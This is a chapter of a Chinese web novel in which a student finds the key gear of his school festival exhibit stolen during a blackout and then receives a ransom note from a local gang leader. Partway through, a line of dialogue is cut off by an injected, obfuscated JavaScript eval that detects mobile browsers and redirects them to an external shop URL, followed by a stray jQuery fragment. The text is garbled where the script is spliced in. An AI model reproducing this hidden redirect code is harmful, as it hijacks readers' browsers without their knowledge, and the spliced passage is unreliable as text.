严策蹲下身，手指在装置底座上细细摸索。木头的纹理在指尖滑过，清漆的光滑表面下，那颗松动的螺丝已经被他重新拧紧。但他的动作没有停。从底座边缘开始，一寸一寸地向内检查。指尖触碰到齿轮传动轴时，他停顿了一下。轴还在，但轴上本该咬合的那个铜质小齿轮——那个他花了三个晚上手工打磨、齿距精确到0.1毫米的核心传动齿轮——不见了。空荡荡的轴杆在灯光下泛着冷光。严策的手指悬在半空，然后缓缓收拢，握成拳。
他维持着蹲姿，目光扫过展位周围的地面。
瓷砖是米白色的，有些地方有鞋印的污渍，有些地方散落着彩纸屑。没有齿轮。他伸手在展台下方的阴影里摸索，指尖碰到灰尘和几根断掉的橡皮筋。还是没有。
严策站起身，动作很慢。
大厅里的灯光已经完全恢复，白炽灯管发出的嗡嗡声重新成为背景音。学生们从刚才的惊慌中缓过神来，笑声和说话声再次填满空间。有人在大声抱怨刚才的黑暗，有人在炫耀自己没被吓到，有人继续推销自己的展品。一切都像什么都没发生过。
除了严策的展位。
除了那个空荡荡的传动轴。
他低头看着装置。这个“自动浇花装置”是他花了两个月时间设计的。主体是一个木制底座，上面安装着齿轮传动系统、微型水泵、储水槽和传感器。原理很简单：土壤湿度传感器检测到花盆土壤干燥，就会触发电路，启动微型水泵抽水，水流通过管道浇灌植物。但为了展示机械之美，他特意设计了一套纯机械的齿轮传动系统作为备用驱动——当电路故障时，可以手动摇动摇柄，通过齿轮组带动水泵工作。
现在，核心传动齿轮不见了。
没有这个齿轮，整个机械传动系统就瘫痪了。只剩电子部分还能工作，但那不是他想展示的重点。他想展示的是机械的精确、齿轮咬合的韵律、人力与机械的和谐。现在，这个展示被破坏了。
严策的手指轻轻拨动其他齿轮。它们转动着，发出细微的“咔嗒”声，但因为缺少关键的一环，转动无法传递到水泵连杆上。声音空洞，像断了线的木偶。
“严策？”
一个熟悉的声音从身后传来。
严策转过身，看到陈老师正快步走过来。陈老师的额头上有细密的汗珠，眼镜微微下滑，校服衬衫的领口有些歪。他手里拿着一个文件夹，文件夹的边缘被捏得有些皱。
“你没事吧？”陈老师停在展位前，目光扫过严策全身，“刚才停电的时候，我好像看到你往消防通道那边去了？”
严策摇了摇头：“没事。就是去看看情况。”
他的声音很平静，甚至有些平淡。陈老师盯着他看了两秒，然后目光落到装置上。
“装置还好吗？刚才那么乱，没被人碰坏吧？”
“应该没有。”严策说，“可能就是断电时被人群碰了一下，有点歪，我扶正了。”
他在说谎。但他说得很自然，脸上没有任何表情变化。陈老师又看了他一眼，然后弯腰检查装置。他的手指在底座上轻轻敲了敲，又拨动了一下齿轮。
“这个齿轮系统设计得很精巧。”陈老师说，“是你自己设计的？”
“参考了一些机械手册，自己改的。”
“嗯。”陈老师直起身，推了推眼镜，“刚才保安科的人去检查了总闸箱，发现有人动过手脚。不是跳闸，是有人故意拉了闸。他们已经调监控了，不过……”
他顿了顿，压低声音：“不过那个位置的监控角度不太好，可能拍不到什么。”
严策点了点头，没说话。
陈老师看着他，眼神里有些复杂的东西。那不是一个老师看学生的眼神，更像是一个成年人在看另一个成年人，带着审视，也带着某种理解。
“严策，”陈老师说，“如果遇到什么麻烦，可以跟我说。我是你的班主任，有责任保护你。”
“我知道。”严策说，“谢谢陈老师。”
他的语气依然平静，但陈老师似乎听出了什么。老教师沉默了几秒，然后拍了拍他的肩膀。
“文化祭还有两个小时结束。好好展示你的作品。”
说完，陈老师转身离开了。他的背影在人群中显得有些单薄，但步伐很稳。
严策目送他走远，然后重新看向装置。
齿轮不见了。
不是意外碰掉，不是自然脱落。是有人趁乱偷走的。目的很明确——破坏他的展示，或者，有更深的目的。
他的手指在空荡荡的传动轴上轻轻摩挲。铜轴冰凉，表面有细微的划痕。这些划痕是齿轮咬合时留下的，记录了无数次的转动。现在，齿轮不在了，只剩这些痕迹。
“哟，严策！”
一个带着笑意的声音从左侧传来。
严策没有立刻转头。他先深吸了一口气，让胸腔充满空气，再缓缓吐出。然后他才转过身，脸上没有任何表情。
王猛正从电竞区那边走过来。他身边跟着两个跟班，但不是刘强。刘强不在。王猛穿着崭新的限量版球鞋，鞋面在灯光下反着光。他的校服外套敞开着，露出里面的潮牌T恤。头发用发胶精心打理过，每一根都朝着固定的方向。
他走到展位前，停下脚步，双手插在裤兜里，身体微微后仰，一副悠闲的姿态。
“刚才停电，吓一跳吧？”王猛笑着说，“我那边电脑全黑了，差点把比赛数据弄丢。还好有备用电源。”
他的笑容很灿烂，牙齿很白。但眼神没有笑。那双眼睛在严策脸上扫过，又瞟向装置，最后落在空荡荡的传动轴上。严策捕捉到了那一瞬间——王猛的瞳孔微微收缩，嘴角的弧度加深了一毫米。
那是得意的表情。
虽然只有一瞬，但严策看到了。
“我没事。”严策说。
“那就好。”王猛往前走了半步，凑近装置，“你这玩意儿……好像有点问题啊？这个轴怎么空着？”
他的手指指向传动轴。
严策看着那只手。手指修长，指甲修剪得很整齐，手腕上戴着一块智能手表，表盘正在显示心率数据——78次/分钟。心率正常，甚至偏低。王猛不紧张。
“齿轮掉了。”严策说，“可能在刚才的混乱里被人碰掉了。”
“掉了？”王猛挑眉，“那可不妙。你这装置还能演示吗？”
“电子部分还能工作。”
“但重点不是机械传动吗？”王猛说，“我记得你之前说过，这个装置的精髓就是那套纯机械系统。现在齿轮没了，精髓不就没了？”
他的语气里带着一种假惺惺的关切。严策能听出来。周围的几个学生也凑了过来，好奇地看着装置。
“是啊严策，齿轮找不到吗？”一个女生问。
“要不要大家一起帮你找找？”
“可能滚到哪个角落去了。”
学生们七嘴八舌地说着。严策摇了摇头：“不用了，可能已经被人踩坏了。我自己再做一个吧。”
他说得很轻松，仿佛这只是一件小事。王猛盯着他看了几秒，然后笑了。
“也是，一个齿轮而已。不过严策，我刚才好像看到……”他顿了顿，压低声音，“看到刘强往这边来了。停电的时候。你看到他了吗？”
严策抬起眼睛，直视王猛。
两人的目光在空中碰撞。王猛的眼神里有挑衅，有试探，还有一丝隐藏得很好的紧张。严策的眼神很平静，像一潭深水。
“没看到。”严策说，“停电的时候很黑，我什么都看不清。”
“是吗？”王猛的笑容更深了，“那可能是我看错了。不过刘强那小子最近有点神出鬼没的，也不知道在搞什么。”
他转过身，对跟班们挥了挥手：“走了，回去打比赛。严策，你慢慢修啊，需要帮忙的话说一声。”
说完，他带着人离开了。脚步声渐渐远去，但严策能感觉到，王猛在转身的那一刻，又瞟了一眼装置。
那眼神里的得意，更明显了。
严策站在原地，手指在展台边缘轻轻敲击。木质台面发出沉闷的“咚咚”声。他闭上眼睛，回忆刚才停电时的每一个细节。
黑暗降临。
人群骚动。
脚步声从消防通道传来。
他迎上去。
制伏两人。
返回展位。
在这个过程中，有多少时间？三分钟？五分钟？足够一个人靠近展位，拧开底座的螺丝，取下齿轮，再离开吗？
足够。
如果那个人知道齿轮的位置，如果那个人动作熟练，如果那个人早有准备。
那么，袭击只是幌子。把他引开，制造混乱，然后另一个人——或者同一伙人的第三个——趁机偷走齿轮。
目的呢？
只是为了破坏他的展示？那太简单了。王猛如果想让他出丑，有更直接的方法。偷走一个齿轮，虽然会影响展示，但严策完全可以临时做一个替代品，或者直接跳过机械部分，只演示电子功能。
不，目的不是破坏展示。
是别的。
严策睁开眼睛。
大厅里的喧嚣再次涌入耳朵。他看向四周，学生们还在忙碌，评委老师正在各个展位间巡视，学生干部在维持秩序。一切都那么正常。
但就在这片正常之中，有什么东西正在发酵。
“严策同学。”
又一个声音。
这个声音更温和，更从容，带着一种受过良好教育的磁性。严策不用转头就知道是谁。
林骁。
他转过身，看到林骁正站在展位右侧。林骁没有像王猛那样大摇大摆地走过来，而是悄无声息地出现，像一片影子。他穿着整洁的校服，衬衫领口扣到最上面一颗，领带打得一丝不苟。手里拿着一个平板电脑，屏幕上显示着文化祭的流程安排。
“刚才停电，没受影响吧？”林骁问。他的语气很自然，像在问“今天天气怎么样”。
“没有。”严策说。
林骁的目光落在装置上。他的眼神很专注，像在观察一件艺术品。他看了几秒，然后微微皱眉。
“这个传动轴……好像缺了一个齿轮？”
“掉了。”严策说，“可能在混乱中被人碰掉了。”
“掉了？”林骁走近一步，弯下腰仔细查看。他的手指没有碰装置，只是悬在空中，仿佛在测量距离。“这个齿轮是核心传动齿轮吧？没有它，整个机械系统就瘫痪了。”
“是。”
“需要帮忙吗？”林骁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680506|207667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
直起身，看向严策，“我认识几个机械工程方面的专家，如果需要，我可以请他们过来看看。或者，如果你有齿轮的尺寸数据，我可以让家里的工厂帮你紧急加工一个。两个小时就能做好。”
他的提议很周到，很体贴。如果是别的学生，可能会感激涕零。但严策听出了别的东西。
林骁的语气里有一种掌控感。不是施舍，不是帮助，而是一种“我能解决你的问题，所以你应该接受我的好意”的暗示。
“不用了。”严策说，“我自己能处理。”
“你确定？”林骁微笑，“这个齿轮看起来是特制的。齿距、厚度、材质都有要求吧？临时做一个可能达不到原来的精度。”
“我可以调整其他部分来适配。”
“那会很麻烦。”林骁说，“而且时间紧迫。文化祭还有两个小时就结束了，评委老师马上就要过来打分。如果装置不能完整演示，可能会影响你的成绩。”
他说得对。严策知道他说得对。但他还是摇了摇头。
“谢谢，但我自己处理。”
林骁看着他，眼神里闪过一丝什么。那不是失望，不是恼怒，而是一种更深的东西——好奇，或者说，兴趣。像科学家发现了一个新的实验样本。
“好吧。”林骁点了点头，“如果你改变主意，随时找我。我的联系方式你有。”
他顿了顿，又补充道：“另外，刚才停电的事，保安科已经在调查了。如果有需要，我可以帮忙协调。毕竟，我是学生会副主席，有责任确保活动顺利进行。”
“谢谢。”严策说。
林骁又看了他一眼，然后转身离开。他的步伐很稳，背影挺拔。严策看着他消失在人群中，然后收回目光。
周围的学生渐渐散去了。展位前又只剩下他一个人。
严策弯下腰，开始收拾展位上的东西。他把散落的宣传单整理好，把歪了的展板扶正，把装置表面擦拭干净。动作很慢，很仔细。
然后，他蹲下身，准备把装置搬起来，检查底部是否有其他损坏。
就在他抬起装置的那一刻，有什么东西从底座下方飘落下来。
一张纸。
折叠成小方块，白色的打印纸。
严策的动作停住了。他维持着半蹲的姿势，看着那张纸缓缓落在地面上。纸片很轻，落地时几乎没有声音。
他放下装置，伸手捡起纸片。
纸张是普通的A4打印纸，折叠得很整齐，边缘对齐。严策展开纸片。
上面是打印的宋体字，字号很小：
**齿轮在我这。想要，今晚八点，旧货市场后巷。一个人来。**
**——赵坤**
没有标点，没有多余的字。就这两行。
严策盯着纸条看了很久。纸张在指尖微微颤抖——不是他的手在抖，是空气流动造成的。他能闻到纸张的油墨味，还有一股淡淡的烟味。纸片边缘有些粗糙，像是被匆忙撕下来的。
赵坤。
青龙帮的小头目。掌控学校周边地下赌场和高利贷的人。之前试图收他作打手，被他拒绝。
现在，他偷走了齿轮。
不，不是他亲自偷的。他指使别人偷的。可能是王猛，可能是刘强，可能是那个青龙帮的混混。总之，齿轮现在在赵坤手里。
目的呢？
用齿轮要挟他，逼他就范。
今晚八点，旧货市场后巷。一个人来。
严策缓缓折起纸条，塞进校服口袋。他的动作很慢，很稳。然后他站起身，看向大厅。
灯光依然明亮，学生们依然在笑。评委老师正在不远处的一个展位前打分，学生干部在维持秩序。陈老师在和几个老师说话，王猛在电竞区大声指挥比赛，林骁在学生会展位处理事务。
一切都那么正常。
但严策知道，有些东西已经不一样了。
齿轮丢了。赵坤的勒索来了。今晚八点，他必须做出选择。
去，还是不去？
如果去，可能是个陷阱。赵坤不会轻易把齿轮还给他，一定会提出条件——加入青龙帮，做打手，或者做别的什么。如果不去，齿轮就拿不回来，装置无法完整展示，文化祭的成绩会受影响。而且，赵坤可能会采取更激烈的手段。
严策深吸一口气，让空气充满肺部，再缓缓吐出。
他的手指在口袋里捏着那张纸条。纸张的边缘有些锋利，刺痛了指尖。
他抬起头，看向装置。
空荡荡的传动轴在灯光下泛着冷光。其他齿轮静止着，像在等待。等待那个缺失的核心，等待重新转动的那一刻。
严策伸出手，轻轻拨动一个齿轮。
“咔嗒。”
声音空洞，没有回应。
他收回手，转身看向大厅的出口。阳光从玻璃门外照进来，在地面上投下明亮的光斑。学生们进进出出，笑声不断。
今晚八点。
旧货市场后巷。
一个人。
严策的嘴角微微扬起，一个很淡的，几乎看不见的弧度。
然后他转过身，开始整理展位。把一切都收拾整齐，把装置摆正，把宣传单码好。动作从容，不慌不忙。
仿佛什么都没有发生。